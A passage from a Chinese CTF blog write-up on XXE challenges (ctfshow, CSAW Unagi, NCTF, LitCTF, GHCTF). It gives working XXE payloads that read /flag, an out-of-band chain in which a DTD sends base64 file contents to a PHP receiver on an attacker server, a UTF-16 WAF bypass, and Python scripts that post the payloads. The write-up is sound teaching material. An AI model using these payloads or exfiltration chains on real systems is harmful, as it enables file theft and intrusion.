class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">$content = $_GET['1'];</span><br><span class="line">if(isset($content)){</span><br><span class="line">file_put_contents('flag.txt','更新时</span><br><span class="line">间:'.date("Y-m-d H:i:s")."\n".$content);</span><br><span class="line">}else{</span><br><span class="line">echo 'no data input';</span><br><span class="line">}</span><br></pre></td></tr></table></figure> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><!ENTITY % all</span><br><span class="line">"<!ENTITY &#x25; send SYSTEM</span><br><span class="line">'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"</span><br><span class="line">></span><br><span class="line">%all;</span><br></pre></td></tr></table></figure> <h2 id="1"><a href="#1" class="headerlink" title="1"></a>1</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">error_reporting(0); //设置错误报告级别,将错误报告关闭,即不会输出错误信息。</span><br><span class="line">libxml_disable_entity_loader(false);//启用实体加载器。实体加载器是一个用于加载 XML 文档中的实体(Entity)的功能。在这里,将实体加载器启用。</span><br><span class="line">$xmlfile = file_get_contents('php://input');</span><br><span class="line">if(isset($xmlfile)){</span><br><span class="line"> $dom = new DOMDocument();</span><br><span class="line"> $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);</span><br><span class="line"> $creds = simplexml_import_dom($dom);</span><br><span class="line"> $ctfshow = $creds->ctfshow;</span><br><span class="line"> echo $ctfshow;</span><br><span class="line">}</span><br><span class="line">highlight_file(__FILE__);</span><br><span class="line"></span><br></pre></td></tr></table></figure> <p>分析:</p> <p>$xmlfile = file_get_contents(‘php://input’);:从 PHP 输入流中获取 POST 请求发送的 XML 数据,并将其存储在 $xmlfile 变量中。</p> <p>if(isset($xmlfile)){ … }:检查是否成功接收到 XML 数据。</p> <p>$dom = new DOMDocument();:创建一个 DOMDocument 对象,用于处理 XML 文档。</p> <p>$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);:加载 XML 数据到 DOMDocument 对象中,并启用外部实体加载。通过设置参数 LIBXML_NOENT | LIBXML_DTDLOAD,禁用了实体扩展,并允许加载外部 DTD。</p> <p>$creds = simplexml_import_dom($dom);:将 DOMDocument 对象转换为 SimpleXMLElement 对象,以便于简单地处理 XML 数据。</p> <p>$ctfshow = $creds->ctfshow;:从 SimpleXMLElement 对象中获取名为 ctfshow 的元素的内容。</p> <p>本关代码会echo $ctfshow,所以本关是有回显的,我们就可以用有回显读取文件的方式来做。</p> <p>我们通过代码可以知道本关是通过&ctfshow这个变量来输出内容的,所以我们就可以通过在ctfshow这个元素里设置我们想要查找的内容,并将其上传就可以得到我们想要的东西了</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE test [ //开始了一个DTD的声明,名字为test。</span><br><span class="line"><!ENTITY dingzhen SYSTEM "file:///flag"> //定义了一个叫做dingzhen的实体,并且将该实体指向了flag文件。</span><br><span class="line">]></span><br><span class="line"><xuebao> //根目录</span><br><span class="line"><ctfshow>&dingzhen;</ctfshow> //子目录</span><br><span class="line"></xuebao></span><br></pre></td></tr></table></figure> <p>XML 实体声明允许在 XML 文档中引用外部实体,它们通常用于重复使用和参数化 XML 内容。</p> <p>在这段代码中,DTD被用作外部实体引用。当这个DTD被引用时,实体xxs会被展开,它的值是file:///flag,表示要读取主机上的flag文件。</p> <p>因此,如果这个 DTD 被成功引用并且 XML 解析器对实体引用进行了展开,那么将会尝试读取主机上的 flag文件。</p> <p>这也就是xxe漏洞利用的基本原理。</p> <p>之后抓包即可</p> <h2 id="2"><a href="#2" class="headerlink" title="2"></a>2</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">error_reporting(0);</span><br><span class="line">libxml_disable_entity_loader(false);</span><br><span class="line">$xmlfile = file_get_contents('php://input');</span><br><span class="line">if(isset($xmlfile)){</span><br><span class="line"> $dom = new DOMDocument();</span><br><span class="line"> $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);</span><br><span class="line">}</span><br><span class="line">highlight_file(__FILE__); </span><br></pre></td></tr></table></figure> <p>这里和上面的不同就是没有echo的符号了<br>分析</p> <p>我们发现这关和上一关相比没有明显的输出函数以及判断条件了。</p> <p>所以传入的xml中就要完成这个功能</p> <pre><code>在做无回显读取文件的关卡前,我们需要自己创建一个服务器,因为我们需要通过服务器来上传文件。(服务器操作系统CentOS) 之后在我们创建的服务器上安装宝塔服务器运维面板,它可以帮助我们在服务器上安装Linux系统,帮助我们更好地进行服务器操作(当然,你要是很厉害也可以直接用代码安装,不需要宝塔的帮助)我们需要通过它来完成创建文件,上传文件等操作。 具体的部署宝塔的操作啥的自己看教程。 </code></pre> <p>前置事项完成后我们正式开始<br>1.首先创建一个xxe.php文件,内容</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><?php </span><br><span class="line">file_put_contents("flag.txt", $_GET['file']) ; </span><br><span class="line">?></span><br></pre></td></tr></table></figure> <p>这段代码的意思是接收一个名为file的GET传参,并将其写入到flag.txt的文件中。(如果文件不存在,则会自动创建)</p> <p>2.之后再创建一个xxe.xml文件</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><!ENTITY % dtd "<!ENTITY &#x25; xxe SYSTEM 'http://你的服务器ip/xxe.php?file=%file;'> "></span><br><span class="line">%dtd;</span><br><span class="line">%xxe;</span><br></pre></td></tr></table></figure> <p>这段代码定义了一个% dtd实体,它的值是一个名为xxe的实体的声明,而这个实体的值是一段字符串,其内容是将服务器中名为file的参数发送到xxe.php文件中。</p> <p>% 是实体的引用,表示百分号 % 的 Unicode 字符编码,也就是% xxe。</p> <p>%dtd;: 这行代码使用了之前定义的 %dtd 参数实体,将其展开为实际的实体声明。这样就定义了一个名为 xxe 的实体。</p> <p>%xxe;: 这行代码使用了之前定义的 xxe 实体,将其展开为实际的 HTTP 请求。这样就能得到file参数并将其发送到xxe.php文件中。</p> <p>也就是说,这段代码的用途就是将file参数发送到xxe.php文件中,之后就能通过xxe.php文件将其放入flag.txt文件中了。</p> <p>在 XML 中,实体引用的形式可以是 %(十六进制)或 %(十进制),两者都表示字符 ‘%’ 的实体引用。</p> <p>使用 % 的形式,如 %dtd; 和 %xxe;,是一种特殊的实体引用,被称为参数实体引用。参数实体引用以 % 开头,后面跟着实体名称。在定义参数实体时,可以使用 % 开头的实体引用来引用其他实体。</p> <p>需要注意的是,对于一般的实体引用,如 % 或 %,可以在 XML 文档中的任何位置使用,而不仅限于参数实体引用的定义中。但是,参数实体引用只能在 DTD 的定义部分使用。</p> <p>总结起来,使用 % 的形式是参数实体引用的一种特殊用法,用于引用其他实体。而一般的实体引用可以使用 % 或 %,两者都表示字符 ‘%’ 的实体引用。在具体使用时,可以根据需要选择合适的实体引用形式。</p> <p>(这里有一个问题,chatgpt回答说定义实体时,为了确保解析器能够正确解释 XML 结构,所以一般都在%和实体名称之间添加空格,可是我向%dtd和%xxe添加了空格,结果却得不到flag.txt文件了。<br>3.之后抓包并构建payload</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE flag [</span><br><span class="line"><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"></span><br><span class="line"><!ENTITY % aaa SYSTEM "http://你的服务器ip/xxe.xml"></span><br><span class="line">%aaa;</span><br><span class="line">]></span><br><span class="line"><root>123</root> </span><br></pre></td></tr></table></figure> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"><p>: 这行代码定义了一个名为 file 的参数实体,其值是通过 php://filter 将指定文件内容进行 Base64 编码后的结果。这里指定的文件是服务器上的 /flag 文件。</p> <!ENTITY % aaa SYSTEM "http://你的服务器ip/xxe.xml"><p>: 这行代码定义了一个名为 aaa 的参数实体,其值是我们服务器中创建的xxe.xml文件。</p> <p>之后通过展开%aaa实体来访问xxe.xml文件。</p> <p>这段代码的目的就是将/flag文件中的内容用base64编码后放入到file实体中,这样就可以通过xxe.xml文件将file参数放到xxe.php文件中,再通过xxe.php文件将其放入到flag.txt文件中,这样我们就得到一个名为flag.txt的文件,里面的内容就是经过base64编码后的flag。所以我们最后再用base64解码即可得到本关的flag</p> <h2 id="3"><a href="#3" class="headerlink" title="3"></a>3</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">error_reporting(0);</span><br><span class="line">libxml_disable_entity_loader(false);</span><br><span class="line">$xmlfile = file_get_contents('php://input');</span><br><span class="line">if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){</span><br><span class="line"> die('error');</span><br><span class="line">}</span><br><span class="line">if(isset($xmlfile)){</span><br><span class="line"> $dom = new DOMDocument();</span><br><span class="line"> $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);</span><br><span class="line">}</span><br><span class="line">highlight_file(__FILE__);</span><br></pre></td></tr></table></figure> <p>分析</p> <p>本关代码和上关类似,就多了一个正则匹配过滤,将xml和version1.0过滤掉了。这里的version1.0指的是XML文档中的版本声明,版号为1.0。</p> <p>所以本关我们要将xxe.xml改为xxe.dtd。</p> <p>payload改为</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE flag [</span><br><span class="line"><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"></span><br><span class="line"><!ENTITY % aaa SYSTEM "http://你的服务器ip/xxe.dtd"></span><br><span class="line">%aaa;</span><br><span class="line">]></span><br><span class="line"><root>123</root> </span><br></pre></td></tr></table></figure> <h2 id="4"><a href="#4" class="headerlink" title="4"></a>4</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">error_reporting(0);</span><br><span class="line">libxml_disable_entity_loader(false);</span><br><span class="line">$xmlfile = file_get_contents('php://input');</span><br><span class="line">if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){</span><br><span class="line"> die('error');</span><br><span class="line">}</span><br><span class="line">if(isset($xmlfile)){</span><br><span class="line"> $dom = new DOMDocument();</span><br><span class="line"> $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);</span><br><span class="line">}</span><br><span class="line">highlight_file(__FILE__); </span><br></pre></td></tr></table></figure> <p>和上关类似,就正则匹配这里多了一个/i表示大小写不敏感匹配。</p> <p>用上关的payload即可</p> <h2 id="5"><a href="#5" class="headerlink" title="5"></a>5</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">error_reporting(0);</span><br><span class="line">libxml_disable_entity_loader(false);</span><br><span class="line">$xmlfile = file_get_contents('php://input');</span><br><span class="line">if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){</span><br><span class="line"> die('error');</span><br><span class="line">}</span><br><span class="line">if(isset($xmlfile)){</span><br><span class="line"> $dom = new DOMDocument();</span><br><span class="line"> $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);</span><br><span class="line">}</span><br><span class="line">highlight_file(__FILE__); </span><br></pre></td></tr></table></figure> <p>分析</p> <p>在原来的基础上又过滤了http</p> <p>这里采用utf-16编码绕过。</p> <p>前面的方式不变,发送请求时使用python进行编码后发送,python中写(pycharm中要安装requests库)</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">​</span><br><span class="line">url = 'ctfshow靶场的url地址'</span><br><span class="line">payload = '''</span><br><span class="line"><!DOCTYPE ANY[</span><br><span class="line"><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"></span><br><span class="line"><!ENTITY % remote SYSTEM "http://你的服务器ip/xxe.dtd"></span><br><span class="line">%remote;</span><br><span class="line">%send;</span><br><span class="line">]></span><br><span class="line">'''</span><br><span class="line">payload = payload.encode('utf-16')</span><br><span class="line">rep = requests.post(url=url, data=payload)</span><br><span class="line">print(rep.text)</span><br></pre></td></tr></table></figure> <h2 id="6"><a href="#6" class="headerlink" title="6"></a>6</h2><p>一个登陆页面,我们随便输入一下账号密码然后进行抓包</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><user></span><br><span class="line"><username>123456</username></span><br><span class="line"><password>123456</password></span><br><span class="line"></user></span><br></pre></td></tr></table></figure> <p>然后进行xxe</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE test[</span><br><span class="line"><!ENTITY dingzhen SYSTEM "file:///flag"></span><br><span class="line">]></span><br><span class="line"><user></span><br><span class="line"><username>&dingzhen;</username></span><br><span class="line"><password>123456</password></span><br><span class="line"></user></span><br></pre></td></tr></table></figure> <p>最后就可以拿到flag了</p> <h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>这就是一些一般性的做法了,这里我们后面自己来好好做题加深对于这种类型题目的理解</p> <h1 id="CSAWQual-2019-Unagi"><a href="#CSAWQual-2019-Unagi" class="headerlink" title="[CSAWQual 2019]Unagi"></a>[CSAWQual 2019]Unagi</h1><p>21分<br>XXEWAF绕过编码绕过<br>题目描述</p> <p>flag在/flag。<br>首先先看一下题目的提示,告诉你flag在/flag里面,是不是很像我们之前说的,得先知道文件的地址才好做很多<br>大概是有四个页面<br>第一个是HOME页面,这里就是一个欢迎<br>然后就是User页面,信息如下</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">Name: Alice</span><br><span class="line"></span><br><span class="line">Email: alice@fakesite.com</span><br><span class="line"></span><br><span class="line">Group: CSAW2019</span><br><span class="line"></span><br><span class="line">Intro: Alice is cool</span><br><span class="line"></span><br><span class="line">Name: Bob</span><br><span class="line"></span><br><span class="line">Email: bob@fakesite.com</span><br><span class="line"></span><br><span class="line">Group: CSAW2019</span><br><span class="line"></span><br><span class="line">Intro: Bob is cool too</span><br></pre></td></tr></table></figure> <p>第三个一个文件上传的页面,然后又意思的是有一个案列</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><users></span><br><span class="line"><user></span><br><span class="line"><username>alice</username></span><br><span class="line"><password>passwd1</password></span><br><span class="line"><name>Alice</name></span><br><span class="line"><email>alice@fakesite.com</email></span><br><span class="line"><group>CSAW2019</group></span><br><span class="line"></user></span><br><span class="line"><user></span><br><span class="line"><username>bob</username></span><br><span class="line"><password>passwd2</password></span><br><span class="line"><name> Bob</name></span><br><span class="line"><email>bob@fakesite.com</email></span><br><span class="line"><group>CSAW2019</group></span><br><span class="line"></user></span><br><span class="line"></users></span><br></pre></td></tr></table></figure> <p>还有一个类似标题一样的提示:该 XML 文件并未包含任何关联的样式信息。文档树显示如下<br>第四个是一个about页面:Flag is located at /flag, come get it<br>这里我们先看一下源码还有就是可以扫一下目录,当然,这道题做这些应该没有什么用的<br>上传一个1.xml</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><?xml version='1.0'?></span><br><span class="line"><!DOCTYPE users [</span><br><span class="line"><!ENTITY xxe SYSTEM "file:///flag" >]></span><br><span class="line"><users></span><br><span class="line"> <user></span><br><span class="line"> <username>&xxe;</username></span><br><span class="line"> <password>&xxe;</password></span><br><span class="line"> <name>&xxe;</name></span><br><span class="line"> <email>&xxe;</email> </span><br><span class="line"> <group>&xxe;</group></span><br><span class="line"> <intro>&xxe;</intro></span><br><span class="line"> </user></span><br><span class="line"></users></span><br></pre></td></tr></table></figure> <p>但是题目弹出了:WAF blocked uploaded file. Please try again<br>好像有的环境是可以直接上传的<br>反正都没有实操过,都算是积累了<br>在linux里面,用vim转码,把UTF-8转换为UTF-16绕过waf<br>命令</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">iconv -f UTF-8 -t UTF-16 2.xml > 1.xml</span><br><span class="line">iconv -f UTF-8 -t UTF-16 2.xml -o 1.xml</span><br><span class="line">iconv -f utf8 -t utf-16 1.xml>2.xml</span><br></pre></td></tr></table></figure> <p>这里好像utf-8和-16还像看不出来有什么问题呀<br>最后成功拿到flag</p> <h1 id="NCTF-2019-Fake-XML-cookbook"><a href="#NCTF-2019-Fake-XML-cookbook" class="headerlink" title="[NCTF 2019]Fake XML cookbook"></a>[NCTF 2019]Fake XML cookbook</h1><p>1分<br>XXE中间件攻击代码审计<br>这个就是我前面写过了的,是一个登陆页面什么的<br>这个是抓包的一个请求</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">POST /doLogin.php HTTP/1.1</span><br><span class="line">Host: node4.anna.nssctf.cn:28782</span><br><span class="line">Content-Length: 61</span><br><span class="line">Accept: application/xml, text/xml, */*; q=0.01</span><br><span class="line">X-Requested-With: XMLHttpRequest</span><br><span class="line">User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36</span><br><span class="line">Content-Type: application/xml;charset=UTF-8</span><br><span class="line">Origin: http://node4.anna.nssctf.cn:28782</span><br><span class="line">Referer: http://node4.anna.nssctf.cn:28782/</span><br><span class="line">Accept-Encoding: gzip, deflate</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.9</span><br><span class="line">Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.aNSzTg.GaZCugyv3Y9NPtlzotNzPysFdcw</span><br><span class="line">Connection: close</span><br><span class="line"></span><br><span class="line"><user><username>admin</username><password>1</password></user></span><br></pre></td></tr></table></figure> <p>用前面的payload就行了</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE test[</span><br><span class="line"><!ENTITY dingzhen SYSTEM "file:///flag"></span><br><span class="line">]></span><br><span class="line"><user></span><br><span class="line"><username>&dingzhen;</username></span><br><span class="line"><password>123456</password></span><br><span class="line"></user></span><br></pre></td></tr></table></figure> <h1 id="LitCTF-2024-exx"><a href="#LitCTF-2024-exx" class="headerlink" title="[LitCTF 2024]exx"></a>[LitCTF 2024]exx</h1><p>33分<br>XXEPHPWEB<br>这个题目基本就是告诉你是xxe相关的题目了<br>这个又是一个恶趣味荤段子类型的题目<br>一点击跳到一个页面,p站的注册页面,苦笑<br>然后又是一个登陆页面,基本和前面没有什么大的区别<br>payload都不用改的</p> <h1 id="GHCTF-2025"><a href="#GHCTF-2025" class="headerlink" title="GHCTF 2025"></a><a href="%3E%EF%B9%8F%3C">GHCTF 2025</a></h1><p>120分<br>XXEWEB<br>题目描述</p> <p>(>﹏<) & (<﹏>) & (>﹏<)<br>给了一个py代码</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">from flask import Flask,request import base64 from lxml import etree import re app = Flask(__name__) @app.route('/') def index(): return open(__file__).read() @app.route('/ghctf',methods=['POST']) def parse(): xml=request.form.get('xml') print(xml) if xml is None: return "No System is Safe." parser = etree.XMLParser(load_dtd=True, resolve_entities=True) root = etree.fromstring(xml, parser) name=root.find('name').text return name or None if __name__=="__main__": app.run(host='0.0.0.0',port=8080)</span><br></pre></td></tr></table></figure> <p>这里是有两个路由<br>这里直接写代码或者说poct传参到对应路由就可以了</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"># exp.py</span><br><span class="line">import requests</span><br><span class="line">url = "http://node1.anna.nssctf.cn:28837/ghctf"</span><br><span class="line"></span><br><span class="line"># 构造恶意 XML 数据</span><br><span class="line">xml_payload = """<?xml version="1.0"?></span><br><span class="line"><!DOCTYPE foo [</span><br><span class="line"> <!ELEMENT foo ANY ></span><br><span class="line"> <!ENTITY xxe SYSTEM "file:///flag" ></span><br><span class="line">]></span><br><span class="line"><root></span><br><span class="line"> <name>&xxe;</name></span><br><span class="line"></root>"""</span><br><span class="line"></span><br><span class="line"># 发送 POST 请求</span><br><span class="line">headers = {"Content-Type": "application/x-www-form-urlencoded"}</span><br><span class="line">data = {"xml": xml_payload}</span><br><span class="line"></span><br><span class="line">response = requests.post(url, headers=headers, data=data)</span><br><span class="line"></span><br><span class="line"># 输出响应内容</span><br><span class="line">print(response.text)</span><br></pre></td></tr></table></figure> </div> <hr/> <div class="reprint" id="reprint-statement"> <div class="reprint__author"> <span class="reprint-meta" style="font-weight: bold;"> <i class="fas fa-user"> 文章作者: </i> </span> <span class="reprint-info"> <a href="/about" rel="external nofollow noreferrer">wuk0Ng</a> </span> </div> <div class="reprint__type"> <span class="reprint-meta" style="font-weight: bold;"> <i class="fas fa-link"> 文章链接: </i> </span> <span class="reprint-info"> <a href="https://web-wuk0ng.github.io/2025/09/25/xxe/">https://web-wuk0ng.github.io/2025/09/25/xxe/</a> </span> </div> <div class="reprint__notice"> <span class="reprint-meta" style="font-weight: bold;"> <i class="fas fa-copyright"> 版权声明: </i> </span> <span class="reprint-info"> 本博客所有文章除特別声明外,均采用 <a href="https://creativecommons.org/licenses/by/4.0/deed.zh" rel="external nofollow noreferrer" target="_blank">CC BY 4.0</a> 许可协议。转载请注明来源 <a href="/about" target="_blank">wuk0Ng</a> ! </span> </div> </div> <script async defer> document.addEventListener("copy", function (e) { let toastHTML = '<span>复制成功,请遵循本文的转载规则</span><button class="btn-flat toast-action" onclick="navToReprintStatement()" style="font-size: smaller">查看</a>'; M.toast({html: toastHTML}) }); function navToReprintStatement() { $("html, body").animate({scrollTop: $("#reprint-statement").offset().top - 80}, 800); } </script> <div class="tag_share" style="display: block;"> <div class="post-meta__tag-list" style="display: inline-block;"> <div class="article-tag"> <a href="/tags/CTF/"> <span class="chip bg-color">CTF</span> </a> <a href="/tags/%E6%AF%94%E8%B5%9B/"> <span class="chip bg-color">比赛</span> </a> </div> </div> <div class="post_share" style="zoom: 80%; width: fit-content; display: inline-block; float: right; margin: -0.15rem 0;"> <link rel="stylesheet" type="text/css" href="/libs/share/css/share.min.css"> <div id="article-share"> <div class="social-share" data-sites="twitter,facebook,google,qq,qzone,wechat,weibo,douban,linkedin" data-wechat-qrcode-helper="<p>微信扫一扫即可分享!</p>"></div> <script src="/libs/share/js/social-share.min.js"></script> </div> </div> </div> <style> #reward { margin: 40px 0; text-align: center; } #reward .reward-link { font-size: 1.4rem; line-height: 38px; } #reward .btn-floating:hover { box-shadow: 0 6px 12px rgba(0, 0, 0, 0.2), 0 5px 15px rgba(0, 0, 0, 0.2); } #rewardModal { width: 320px; height: 350px; } #rewardModal .reward-title { margin: 15px auto; padding-bottom: 5px; } #rewardModal .modal-content { padding: 10px; } #rewardModal .close { position: absolute; right: 15px; top: 15px; color: rgba(0, 0, 0, 0.5); font-size: 1.3rem; line-height: 20px; cursor: pointer; } #rewardModal .close:hover { color: #ef5350; transform: scale(1.3); -moz-transform:scale(1.3); -webkit-transform:scale(1.3); -o-transform:scale(1.3); } #rewardModal .reward-tabs { margin: 0 auto; width: 210px; } .reward-tabs .tabs { height: 38px; margin: 10px auto; padding-left: 0; } .reward-content ul { padding-left: 0 !important; } .reward-tabs .tabs .tab { height: 38px; line-height: 38px; } .reward-tabs .tab a { color: #fff; background-color: #ccc; } .reward-tabs .tab a:hover { background-color: #ccc; color: #fff; } .reward-tabs .wechat-tab .active { color: #fff !important; background-color: #22AB38 !important; } .reward-tabs .alipay-tab .active { color: #fff !important; background-color: #019FE8 !important; } .reward-tabs .reward-img { width: 210px; height: 210px; } </style> <div id="reward"> <a href="#rewardModal" class="reward-link modal-trigger btn-floating btn-medium waves-effect waves-light red">赏</a> <!-- Modal Structure --> <div id="rewardModal" class="modal"> <div class="modal-content"> <a class="close modal-close"><i class="fas fa-times"></i></a> <h4 class="reward-title">你的赏识是我前进的动力</h4> <div class="reward-content"> <div class="reward-tabs"> <ul class="tabs row"> <li class="tab col s6 alipay-tab waves-effect waves-light"><a href="#alipay">支付宝</a></li> <li class="tab col s6 wechat-tab waves-effect waves-light"><a href="#wechat">微 信</a></li> </ul> <div id="alipay"> <img src="/medias/reward/aliyunpay.png" class="reward-img" alt="支付宝打赏二维码"> </div> <div id="wechat"> <img src="/medias/reward/wechat1.png" class="reward-img" alt="微信打赏二维码"> </div> </div> </div> </div> </div> </div> <script> $(function () { $('.tabs').tabs(); }); </script> </div> </div> <!-- 引入 Gitalk 官方 CSS(国内 CDN) --> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/gitalk@1/dist/gitalk.css"> <!-- 引入主题自定义 CSS(如有需要,若 my-gitalk.css 是本地文件则保留原路径) --> <link rel="stylesheet" href="/css/my-gitalk.css"> <div class="card gitalk-card" data-aos="fade-up"> <div class="comment_headling"> <i class="fas fa-comments fa-fw"></i> <span>评论</span> </div> <div 